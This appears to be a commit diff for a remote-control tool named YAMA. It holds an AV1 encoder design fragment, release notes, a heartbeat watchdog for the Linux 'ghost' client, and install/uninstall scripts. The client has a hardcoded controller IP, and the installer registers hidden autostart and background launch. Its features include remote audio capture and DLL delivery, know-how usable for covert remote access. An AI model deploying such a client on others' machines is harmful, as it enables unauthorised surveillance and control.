1. 重跑 vcpkg:`ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md`
|
||||||
|
2. 新建 `CFFmpegAV1Encoder`,结构与 H.264 对称(直接 copy + 改 backend 名 + 调参)
|
||||||
|
3. `EncoderProbe` 加 AV1 探测
|
||||||
|
4. 工厂前置 AV1 路径
|
||||||
|
5. 硬件验证矩阵执行
|
||||||
|
|
||||||
|
### Step 5:握手协商 + 浏览器探测
|
||||||
|
1. 客户端 JS `isConfigSupported` 探测 AV1 / H.264
|
||||||
|
2. WebSocket 握手字段 `codecs` 上报
|
||||||
|
3. 服务端解析后填入 `ClientCapability`
|
||||||
|
4. 老客户端向后兼容(无 `codecs` 字段 → 默认 H.264)
|
||||||
|
5. 端到端验证:编码端 RTX 40 + 浏览器 Chrome 走 AV1,回落场景走 H.264
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. 不在本次范围
|
||||||
|
|
||||||
|
- HEVC 编码(决策已排除,见 §1.3.1)
|
||||||
|
- 软编 AV1(libaom / SVT-AV1,CPU 占用不适合远控)
|
||||||
|
- 运行中动态切换 codec(需要切换就重连)
|
||||||
|
- 转发流(1 路编码多路分发)
|
||||||
|
- 桌面捕获共享
|
||||||
|
- 客户端浏览器解码具体实现(可参考 `docs/hevc_browser_decode_test.html` 改 AV1 版本验证)
|
||||||
|
- Linux/macOS 移植
|
||||||
|
- FFmpeg DLL 形式分发
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. 参考资料
|
||||||
|
|
||||||
|
- FFmpeg 编码器列表:`ffmpeg -encoders | grep -E "h264|av1"`
|
||||||
|
- NVENC 参数:`ffmpeg -h encoder=h264_nvenc`、`ffmpeg -h encoder=av1_nvenc`
|
||||||
|
- QSV 参数:`ffmpeg -h encoder=h264_qsv`、`ffmpeg -h encoder=av1_qsv`
|
||||||
|
- AMF 参数:`ffmpeg -h encoder=h264_amf`、`ffmpeg -h encoder=av1_amf`
|
||||||
|
- NVIDIA Video Codec Support Matrix:https://developer.nvidia.com/video-encode-and-decode-gpu-support-matrix-new
|
||||||
|
- WebCodecs API:https://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API
|
||||||
|
- libyuv:https://chromium.googlesource.com/libyuv/libyuv/
|
||||||
|
- vcpkg ffmpeg port:https://github.com/microsoft/vcpkg/tree/master/ports/ffmpeg
|
||||||
|
- FFmpeg HWAccel Intro:https://trac.ffmpeg.org/wiki/HWAccelIntro
|
||||||
|
- AOMedia AV1:https://aomedia.org/
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**文档结束**
|
||||||
|
|
||||||
|
实现时如遇到本文档未覆盖的设计抉择,优先选择**简单、与现有 x264 通路对称、不破坏已有功能、不增加运行时外部依赖**的方案,并在代码注释中说明决策依据。
|
||||||
124
history.md
@@ -651,6 +651,68 @@ Release v1.1.4
|
|||||||
* 修复: 屏幕缩放时远程控制坐标不正确
|
* 修复: 屏幕缩放时远程控制坐标不正确
|
||||||
* 修复: CShellDlg::OnCtlColor 中的 GDI 画刷泄漏
|
* 修复: CShellDlg::OnCtlColor 中的 GDI 画刷泄漏
|
||||||
|
|
||||||
|
**2026.02.28**
|
||||||
|
|
||||||
|
发布版本 v1.2.7:
|
||||||
|
|
||||||
|
本版本引入支持 C2C 的 V2 文件传输协议,集成现代 Web 终端,并扩展 Linux 客户端能力。
|
||||||
|
|
||||||
|
* 功能: V2 文件传输协议,支持大于 4GB 的文件
|
||||||
|
* 功能: C2C(客户端到客户端)直接传输,无需经过主控中转
|
||||||
|
* 功能: 断点续传,状态持久化到 `%TEMP%\FileTransfer\`
|
||||||
|
* 功能: SHA-256 文件完整性校验
|
||||||
|
* 功能: 基于 WebView2 + xterm.js 的现代 Web 终端
|
||||||
|
* 功能: Linux 客户端新增文件管理支持
|
||||||
|
* 改进: 主机列表批量更新,减少 UI 闪烁
|
||||||
|
* 改进: V1/V2 协议共存与自动识别
|
||||||
|
* 改进: 77 字节 V2 包头预留扩展字段
|
||||||
|
* 修复: 文件对话框释放阶段的若干稳定性问题
|
||||||
|
|
||||||
|
**2026.03.11**
|
||||||
|
|
||||||
|
发布版本 v1.2.8:
|
||||||
|
|
||||||
|
本版本新增主机上线邮件通知、远程音频播放、V2 授权协议,并改进多 FRPS 支持。
|
||||||
|
|
||||||
|
* 功能: 主机上线邮件通知(SMTP 配置、关键词匹配、右键快捷添加)
|
||||||
|
* 功能: 远程音频播放(WASAPI Loopback)+ Opus 压缩(约 24:1)
|
||||||
|
* 功能: 多 FRPS 服务器同时连接支持
|
||||||
|
* 功能: 自定义光标显示和追踪
|
||||||
|
* 功能: V2 授权协议,采用 ECDSA 签名
|
||||||
|
* 改进: Linux 客户端屏幕压缩算法调优
|
||||||
|
* 改进: 非中文 Windows 主机的编码强化
|
||||||
|
* 修复: 非中文 Windows 系统乱码问题
|
||||||
|
|
||||||
|
**2026.03.27**
|
||||||
|
|
||||||
|
发布版本 v1.2.9:
|
||||||
|
|
||||||
|
本版本强化网络安全,新增连接限流、IP 白/黑名单,加固代理崩溃恢复,并带来 Linux 剪贴板同步及 V2 文件传输。
|
||||||
|
|
||||||
|
* 功能: 网络配置对话框,IP 白/黑名单实时生效
|
||||||
|
* 功能: 可配置的连接限流(DLL 请求限流、IP 封禁阈值可调)
|
||||||
|
* 功能: IP 历史记录对话框,查看授权 IP 登录历史
|
||||||
|
* 功能: 状态栏显示 MTBF/运行时间和授权到期日期
|
||||||
|
* 功能: 代理崩溃保护——5 分钟内 3 次崩溃自动切换普通模式
|
||||||
|
* 功能: 客户端搜索(Ctrl+F),快速搜索 IP、位置、计算机名
|
||||||
|
* 功能: 自动封禁异常 IP——60 秒内超过 15 次连接自动封禁 1 小时
|
||||||
|
* 功能: Proxy Protocol v2 支持,FRP 代理后获取真实客户端 IP
|
||||||
|
* 功能: Linux 剪贴板同步和 V2 文件传输支持
|
||||||
|
* 功能: 右键菜单运行客户端程序
|
||||||
|
* 功能: 多层授权混淆支持
|
||||||
|
* 改进: 增强授权检查,添加 IP 封禁提示
|
||||||
|
* 改进: 支持主控程序以用户权限运行
|
||||||
|
* 改进: 大 DLL 自动使用 TinyRun 回退方案
|
||||||
|
* 改进: 最大数据包从 10MB 提升到 50MB
|
||||||
|
* 改进: mstsc 远程会话可读取用户注册表
|
||||||
|
* 改进: 授权码格式验证,过滤垃圾数据
|
||||||
|
* 修复: OnUserOfflineMsg 竞态条件导致主控崩溃
|
||||||
|
* 修复: 客户端请求 FRPC DLL 时 FrpcParam 丢失
|
||||||
|
* 修复: 远程桌面最小化时剪贴板误触发
|
||||||
|
* 修复: 操作进程对话框时主控崩溃
|
||||||
|
* 修复: 状态栏主机数量实时更新
|
||||||
|
* 修复: Linux `select()` 调用前未重置 timeval
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
[English, since 2025]
|
[English, since 2025]
|
||||||
@@ -1061,3 +1123,65 @@ This release focuses on optimizing remote desktop toolbar experience, enhancing
|
|||||||
* Fix: Race condition causes Linux client crash
|
* Fix: Race condition causes Linux client crash
|
||||||
* Fix: Incorrect remote control coordinates when screen is scaled
|
* Fix: Incorrect remote control coordinates when screen is scaled
|
||||||
* Fix: GDI brush leak in CShellDlg::OnCtlColor
|
* Fix: GDI brush leak in CShellDlg::OnCtlColor
|
||||||
|
|
||||||
|
**2026.02.28**
|
||||||
|
|
||||||
|
Release v1.2.7
|
||||||
|
|
||||||
|
This release introduces the V2 file transfer protocol with C2C support, integrates a modern Web terminal, and extends Linux client capabilities.
|
||||||
|
|
||||||
|
* Feature: V2 file transfer protocol with support for files larger than 4GB
|
||||||
|
* Feature: C2C (client-to-client) direct file transfer, no master relay required
|
||||||
|
* Feature: Resumable file transfer with state persistence under `%TEMP%\FileTransfer\`
|
||||||
|
* Feature: SHA-256 file integrity verification
|
||||||
|
* Feature: Modern Web terminal based on WebView2 + xterm.js
|
||||||
|
* Feature: Linux client adds file management support
|
||||||
|
* Improve: Batch host list updates to reduce UI flicker
|
||||||
|
* Improve: V1/V2 protocol coexistence and auto-detection
|
||||||
|
* Improve: 77-byte V2 packet header with reserved fields for future extension
|
||||||
|
* Fix: Misc stability improvements around file dialog teardown
|
||||||
|
|
||||||
|
**2026.03.11**
|
||||||
|
|
||||||
|
Release v1.2.8
|
||||||
|
|
||||||
|
This release adds host online email notifications, enables remote audio playback, introduces the V2 license protocol, and improves multi-FRPS support.
|
||||||
|
|
||||||
|
* Feature: Host online email notification (SMTP configuration, keyword matching, right-click quick-add)
|
||||||
|
* Feature: Remote audio playback via WASAPI Loopback + Opus compression (~24:1 ratio)
|
||||||
|
* Feature: Multi-FRPS server simultaneous connection support
|
||||||
|
* Feature: Custom cursor display and tracking
|
||||||
|
* Feature: V2 license protocol with ECDSA signature
|
||||||
|
* Improve: Linux client screen compression algorithm tuning
|
||||||
|
* Improve: Encoding hardening for non-Chinese Windows hosts
|
||||||
|
* Fix: Mojibake on non-Chinese Windows systems
|
||||||
|
|
||||||
|
**2026.03.27**
|
||||||
|
|
||||||
|
Release v1.2.9
|
||||||
|
|
||||||
|
This release strengthens network security, adds connection rate limiting, introduces IP whitelisting / blacklisting, hardens proxy crash recovery, and brings Linux clipboard sync and V2 file transfer.
|
||||||
|
|
||||||
|
* Feature: Network configuration dialog with IP whitelist / blacklist, applied in real time
|
||||||
|
* Feature: Configurable connection rate limiting (DLL request throttle, IP ban threshold)
|
||||||
|
* Feature: IP history dialog showing authorized-IP login history
|
||||||
|
* Feature: Status bar displays MTBF / uptime and license expiry date
|
||||||
|
* Feature: Proxy crash protection — auto-fallback to direct mode after 3 crashes within 5 minutes
|
||||||
|
* Feature: Client search (Ctrl+F) — quick filter by IP, location, computer name
|
||||||
|
* Feature: Auto-ban abnormal IPs — 60s / 15-connection threshold triggers a 1-hour ban
|
||||||
|
* Feature: Proxy Protocol v2 support — recover real client IP behind FRP
|
||||||
|
* Feature: Linux clipboard sync and V2 file transfer support
|
||||||
|
* Feature: Right-click menu to run client program
|
||||||
|
* Feature: Multi-layer license obfuscation
|
||||||
|
* Improve: Authorization check tightened with IP ban hints
|
||||||
|
* Improve: Master can run with normal user privileges
|
||||||
|
* Improve: Large DLLs automatically fall back to TinyRun
|
||||||
|
* Improve: Max packet size raised from 10MB to 50MB
|
||||||
|
* Improve: mstsc remote sessions can read user registry hive
|
||||||
|
* Improve: Authorization code format validation, filters garbage input
|
||||||
|
* Fix: OnUserOfflineMsg race condition causing master crash
|
||||||
|
* Fix: FrpcParam lost when client requests FRPC DLL
|
||||||
|
* Fix: Minimized remote desktop falsely triggering clipboard handling
|
||||||
|
* Fix: Master crash when operating on the process dialog
|
||||||
|
* Fix: Status bar host count now updates in real time
|
||||||
|
* Fix: Linux `select()` timeval not being reset before each call
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 66 KiB After Width: | Height: | Size: 119 KiB |
|
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 125 KiB |
BIN
images/WebRemote.png
Normal file
|
After Width: | Height: | Size: 345 KiB |
@@ -261,7 +261,7 @@ loginctl show-session $(loginctl | grep $(whoami) | awk '{print $1}') -p Type
|
|||||||
| `InstallTime` | 首次安装时间 | `1709856000` |
|
| `InstallTime` | 首次安装时间 | `1709856000` |
|
||||||
| `PublicIP` | 公网 IP 缓存 | `1.2.3.4` |
|
| `PublicIP` | 公网 IP 缓存 | `1.2.3.4` |
|
||||||
| `GeoLocation` | 地理位置缓存 | `北京市` |
|
| `GeoLocation` | 地理位置缓存 | `北京市` |
|
||||||
| `QualityLevel` | 屏幕质量等级 | `-1` (自适应) |
|
| `QualityLevel` | 屏幕质量等级 | `2` (Good / H264 1080P) |
|
||||||
|
|
||||||
### 质量等级说明
|
### 质量等级说明
|
||||||
|
|
||||||
|
|||||||
@@ -911,7 +911,14 @@ public:
|
|||||||
// 加载保存的质量设置
|
// 加载保存的质量设置
|
||||||
void LoadQualitySettings()
|
void LoadQualitySettings()
|
||||||
{
|
{
|
||||||
m_qualityLevel = (int8_t)m_config.GetInt("QualityLevel", QUALITY_ADAPTIVE);
|
// Default to QUALITY_GOOD (H264 1080P) — same as Windows ScreenManager.cpp
|
||||||
|
// and the explicit hardcoded default in macos/ScreenHandler.mm. Using
|
||||||
|
// QUALITY_ADAPTIVE here told the controller's EvaluateQuality to auto-
|
||||||
|
// upgrade to Ultra/High (DIFF/RGB565), breaking web sessions whose
|
||||||
|
// browser decoder only handles H264. Web sessions also get a clamp on
|
||||||
|
// the server side as defense in depth; this default change ensures
|
||||||
|
// Linux clients don't request adaptive in the first place.
|
||||||
|
m_qualityLevel = (int8_t)m_config.GetInt("QualityLevel", QUALITY_GOOD);
|
||||||
Mprintf(">>> LoadQualitySettings: level=%d\n", m_qualityLevel);
|
Mprintf(">>> LoadQualitySettings: level=%d\n", m_qualityLevel);
|
||||||
|
|
||||||
// 如果有保存的具体等级,立即应用
|
// 如果有保存的具体等级,立即应用
|
||||||
|
|||||||
152
linux/install.sh
Executable file
@@ -0,0 +1,152 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# YAMA Ghost (Linux client) — install + autostart deployment
|
||||||
|
#
|
||||||
|
# 用法(在解压/克隆后的 linux/ 目录下):
|
||||||
|
# ./install.sh # 默认安装到 ~/.local/bin/ghost
|
||||||
|
# ./install.sh /opt/yama # 安装到 /opt/yama/ghost(如需要会自动 sudo)
|
||||||
|
#
|
||||||
|
# 行为:
|
||||||
|
# 1. 复制 ghost 二进制到目标位置并加可执行权
|
||||||
|
# 2. 注册 XDG Autostart(~/.config/autostart/ghost.desktop)
|
||||||
|
# 3. 可选立即启动一次(继承当前桌面会话的 X 环境)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# ---- 防止以 root 直接运行 ----
|
||||||
|
# 用 sudo 跑会让 $HOME 变成 /root(或 sudo 配置决定的值),
|
||||||
|
# autostart 写到 /root/.config/autostart/,桌面用户的 session 看不见,
|
||||||
|
# 自启动完全失效。需要 sudo 的地方(如装到 /opt/...),脚本会按需自调用 sudo。
|
||||||
|
if [[ "${EUID:-$(id -u)}" -eq 0 ]]; then
|
||||||
|
echo "请用普通用户身份运行此脚本,不要 sudo。" >&2
|
||||||
|
echo "如目标目录需要 root 权限,脚本会按需自动调用 sudo。" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 颜色 ----
|
||||||
|
if [[ -t 1 ]]; then
|
||||||
|
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
|
||||||
|
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
|
||||||
|
else
|
||||||
|
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
|
||||||
|
fi
|
||||||
|
|
||||||
|
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
|
||||||
|
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
|
||||||
|
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
|
||||||
|
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
|
||||||
|
|
||||||
|
# ---- 路径解析 ----
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
SRC_BIN="${SCRIPT_DIR}/ghost"
|
||||||
|
|
||||||
|
# 安装目标目录(参数 $1,默认 ~/.local/bin)
|
||||||
|
INSTALL_DIR="${1:-${HOME}/.local/bin}"
|
||||||
|
DEST_BIN="${INSTALL_DIR}/ghost"
|
||||||
|
|
||||||
|
AUTOSTART_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart"
|
||||||
|
AUTOSTART_FILE="${AUTOSTART_DIR}/ghost.desktop"
|
||||||
|
|
||||||
|
echo "${C_BOLD}YAMA Ghost Linux 安装${C_RESET}"
|
||||||
|
echo " 源: ${SRC_BIN}"
|
||||||
|
echo " 目标: ${DEST_BIN}"
|
||||||
|
echo " 自启动: ${AUTOSTART_FILE}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---- 前置检查 ----
|
||||||
|
if [[ ! -f "${SRC_BIN}" ]]; then
|
||||||
|
error "找不到 ghost 二进制 ${SRC_BIN}"
|
||||||
|
error "请把 install.sh 放在 ghost 同目录后再运行"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! file "${SRC_BIN}" 2>/dev/null | grep -q "ELF.*executable"; then
|
||||||
|
error "${SRC_BIN} 不是有效的 ELF 可执行文件"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 判断目标目录是否需要 sudo
|
||||||
|
# 三种情况都要走 sudo 分支:
|
||||||
|
# a) 目录不存在且父目录无写权(如 /opt/yama 父是 /opt root-owned)
|
||||||
|
# b) 目录已存在但当前用户无写权(如已存在的 /usr/local/bin root-owned)
|
||||||
|
# c) 介于两者之间的情况由 mkdir 的退出码决定
|
||||||
|
NEED_SUDO=""
|
||||||
|
if [[ -d "${INSTALL_DIR}" ]]; then
|
||||||
|
[[ -w "${INSTALL_DIR}" ]] || NEED_SUDO="sudo"
|
||||||
|
else
|
||||||
|
if ! mkdir -p "${INSTALL_DIR}" 2>/dev/null; then
|
||||||
|
NEED_SUDO="sudo"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
if [[ -n "${NEED_SUDO}" ]]; then
|
||||||
|
info "目标目录需要 root 权限,将使用 sudo(可能需要输入密码)"
|
||||||
|
${NEED_SUDO} mkdir -p "${INSTALL_DIR}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 1. 如已运行则先停止 ----
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
warn "检测到 ghost 进程正在运行,先停止以替换二进制"
|
||||||
|
pkill -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
warn "进程未优雅退出,强制 kill"
|
||||||
|
pkill -9 -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
fi
|
||||||
|
ok "旧进程已停止"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 2. 复制二进制 ----
|
||||||
|
info "复制 ghost 到 ${DEST_BIN}"
|
||||||
|
${NEED_SUDO} install -m 0755 "${SRC_BIN}" "${DEST_BIN}"
|
||||||
|
ok "二进制已部署 (mode 0755)"
|
||||||
|
|
||||||
|
# ---- 3. 写 XDG Autostart 文件 ----
|
||||||
|
mkdir -p "${AUTOSTART_DIR}"
|
||||||
|
cat > "${AUTOSTART_FILE}" <<EOF
|
||||||
|
[Desktop Entry]
|
||||||
|
Type=Application
|
||||||
|
Name=YAMA Ghost
|
||||||
|
Comment=YAMA remote control client
|
||||||
|
Exec=${DEST_BIN}
|
||||||
|
Terminal=false
|
||||||
|
X-GNOME-Autostart-enabled=true
|
||||||
|
NoDisplay=true
|
||||||
|
StartupNotify=false
|
||||||
|
EOF
|
||||||
|
ok "Autostart 已注册"
|
||||||
|
|
||||||
|
# 验证 .desktop 格式(如果系统装了 desktop-file-validate)
|
||||||
|
if command -v desktop-file-validate >/dev/null 2>&1; then
|
||||||
|
if desktop-file-validate "${AUTOSTART_FILE}" >/dev/null 2>&1; then
|
||||||
|
ok "Autostart 文件格式验证通过"
|
||||||
|
else
|
||||||
|
warn "desktop-file-validate 报告了警告,但通常不影响功能"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 4. 可选:立即启动 ----
|
||||||
|
echo ""
|
||||||
|
echo -n "${C_BOLD}是否立即启动 ghost(验证 X 环境)?[Y/n]${C_RESET} "
|
||||||
|
read -r ans
|
||||||
|
if [[ -z "${ans}" || "${ans}" =~ ^[Yy]$ ]]; then
|
||||||
|
if [[ -z "${DISPLAY:-}" ]]; then
|
||||||
|
warn "当前 shell 没有 DISPLAY 变量,可能不在桌面会话内 — 启动后远控仍可能 0x0"
|
||||||
|
warn "建议在 GNOME 终端/桌面环境的终端里运行此脚本"
|
||||||
|
fi
|
||||||
|
nohup "${DEST_BIN}" >/dev/null 2>&1 &
|
||||||
|
sleep 1
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
ok "ghost 已启动 (PID=$(pgrep -x ghost | head -1))"
|
||||||
|
else
|
||||||
|
error "启动失败,请手动跑 ${DEST_BIN} 看错误输出"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "${C_GREEN}${C_BOLD}✓ 安装完成${C_RESET}"
|
||||||
|
echo ""
|
||||||
|
echo "下次开机将自动启动;如需立即测试,重启或在桌面终端跑:"
|
||||||
|
echo " ${DEST_BIN}"
|
||||||
|
echo ""
|
||||||
|
echo "卸载请运行同目录的 ./uninstall.sh"
|
||||||
@@ -47,6 +47,13 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L
|
|||||||
State g_bExit = S_CLIENT_NORMAL;
|
State g_bExit = S_CLIENT_NORMAL;
|
||||||
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
||||||
|
|
||||||
|
// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。
|
||||||
|
// 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF
|
||||||
|
// 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic:
|
||||||
|
// VM/笔记本挂起期间 system_clock 继续推进,恢复后能立即识别"几分钟没收到 ACK",
|
||||||
|
// 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。
|
||||||
|
static std::atomic<uint64_t> g_lastHeartbeatAckMs(0);
|
||||||
|
|
||||||
// 客户端 ID(V2 文件传输需要)
|
// 客户端 ID(V2 文件传输需要)
|
||||||
uint64_t g_myClientID = 0;
|
uint64_t g_myClientID = 0;
|
||||||
|
|
||||||
@@ -390,6 +397,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||||
uint64_t now = GetUnixMs();
|
uint64_t now = GetUnixMs();
|
||||||
|
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗
|
||||||
double rtt_ms = (double)(now - ack->Time);
|
double rtt_ms = (double)(now - ack->Time);
|
||||||
g_rttEstimator.update_from_sample(rtt_ms);
|
g_rttEstimator.update_from_sample(rtt_ms);
|
||||||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||||
@@ -778,8 +786,12 @@ static void daemonize()
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
|
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
|
||||||
|
// 注意:handler 内不能调 Mprintf(Logger 用 mutex/string/condvar,非 async-signal-safe),
|
||||||
|
// 只在这里记 sig_atomic_t 标志位,main 退出循环后再补一行日志。
|
||||||
|
static volatile sig_atomic_t g_lastSignal = 0;
|
||||||
static void signalHandler(int sig)
|
static void signalHandler(int sig)
|
||||||
{
|
{
|
||||||
|
g_lastSignal = sig;
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -966,6 +978,9 @@ int main(int argc, char* argv[])
|
|||||||
ClientAuth::OnNewConnection();
|
ClientAuth::OnNewConnection();
|
||||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||||
|
|
||||||
|
// 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时
|
||||||
|
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
|
||||||
|
|
||||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||||
// 检查是否需要重发登录信息(分组变更后)
|
// 检查是否需要重发登录信息(分组变更后)
|
||||||
@@ -1000,6 +1015,28 @@ int main(int argc, char* argv[])
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 应用层 ACK 看门狗:超过 max(60s, interval*3) 没收到 HeartbeatACK 就
|
||||||
|
// 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区——
|
||||||
|
// VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景,对端早已不在,
|
||||||
|
// 但本端 send() 仍把字节塞进 SNDBUF,IsConnected() 一直为真。
|
||||||
|
// 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3))
|
||||||
|
// 对齐:服务端删 host 时本端也能感知到,立即重连而不是等数据卡 ~15 分钟。
|
||||||
|
// 这一层不依赖 TCP_USER_TIMEOUT,跨平台必备。
|
||||||
|
{
|
||||||
|
int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60;
|
||||||
|
const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL;
|
||||||
|
uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
|
||||||
|
uint64_t nowMs = GetUnixMs();
|
||||||
|
if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) {
|
||||||
|
Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK "
|
||||||
|
"(threshold=%llu ms), reconnecting\n",
|
||||||
|
(unsigned long long)(nowMs - lastAck),
|
||||||
|
(unsigned long long)ackTimeoutMs);
|
||||||
|
ClientObject->Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||||
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
|
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
|
||||||
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
|
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
|
||||||
@@ -1027,6 +1064,14 @@ int main(int argc, char* argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 退出原因留痕:signal handler 不能直接打日志,在这里补一行。
|
||||||
|
if (g_lastSignal != 0) {
|
||||||
|
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
|
||||||
|
(int)g_lastSignal, (int)g_bExit);
|
||||||
|
} else {
|
||||||
|
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
|
||||||
|
}
|
||||||
|
|
||||||
Logger::getInstance().stop();
|
Logger::getInstance().stop();
|
||||||
removePidFile();
|
removePidFile();
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
121
linux/uninstall.sh
Executable file
@@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# YAMA Ghost (Linux client) — uninstall
|
||||||
|
#
|
||||||
|
# 用法:
|
||||||
|
# ./uninstall.sh # 默认从 ~/.local/bin/ghost 卸载
|
||||||
|
# ./uninstall.sh /opt/yama # 从指定目录卸载
|
||||||
|
# ./uninstall.sh --yes # 跳过确认(自动化场景)
|
||||||
|
#
|
||||||
|
# 行为(幂等 — 重复运行不会报错):
|
||||||
|
# 1. 停止运行中的 ghost 进程
|
||||||
|
# 2. 删除 XDG Autostart 文件
|
||||||
|
# 3. 删除已安装的二进制
|
||||||
|
# 4. 询问是否清理用户配置(~/.config/ghost)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# ---- 颜色 ----
|
||||||
|
if [[ -t 1 ]]; then
|
||||||
|
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
|
||||||
|
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
|
||||||
|
else
|
||||||
|
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
|
||||||
|
fi
|
||||||
|
|
||||||
|
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
|
||||||
|
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
|
||||||
|
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
|
||||||
|
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
|
||||||
|
|
||||||
|
# ---- 参数解析 ----
|
||||||
|
ASSUME_YES=0
|
||||||
|
INSTALL_DIR="${HOME}/.local/bin"
|
||||||
|
for arg in "$@"; do
|
||||||
|
case "${arg}" in
|
||||||
|
--yes|-y) ASSUME_YES=1 ;;
|
||||||
|
--help|-h)
|
||||||
|
